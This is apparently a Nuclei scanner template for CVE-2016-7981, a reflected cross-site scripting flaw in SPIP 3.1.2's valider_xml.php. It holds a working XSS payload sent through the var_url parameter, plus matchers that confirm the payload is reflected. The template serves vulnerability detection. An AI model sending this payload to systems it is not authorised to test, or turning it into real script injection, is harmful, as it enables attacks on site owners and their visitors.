id: CVE-2016-7981

info:
  name: SPIP 3.1.2 XSS
  author: pikpikcu
  severity: medium
  description: |
    Cross-site scripting (XSS) vulnerability in valider_xml.php in SPIP 3.1.2 and earlier allows remote attackers to inject arbitrary web script or HTML via the var_url parameter in a valider_xml action.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2016-7981
    - https://core.spip.net/projects/spip/repository/revisions/23202
    - https://core.spip.net/projects/spip/repository/revisions/23201
    - https://core.spip.net/projects/spip/repository/revisions/23200
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-7981
    cwe-id: CWE-79
  tags: cve,cve2016,xss,spip

requests:
  - method: GET
    path:
      - "{{BaseURL}}/ecrire/?exec=valider_xml&var_url=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"></script><script>alert(document.domain)</script>'
        part: body

      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - text/html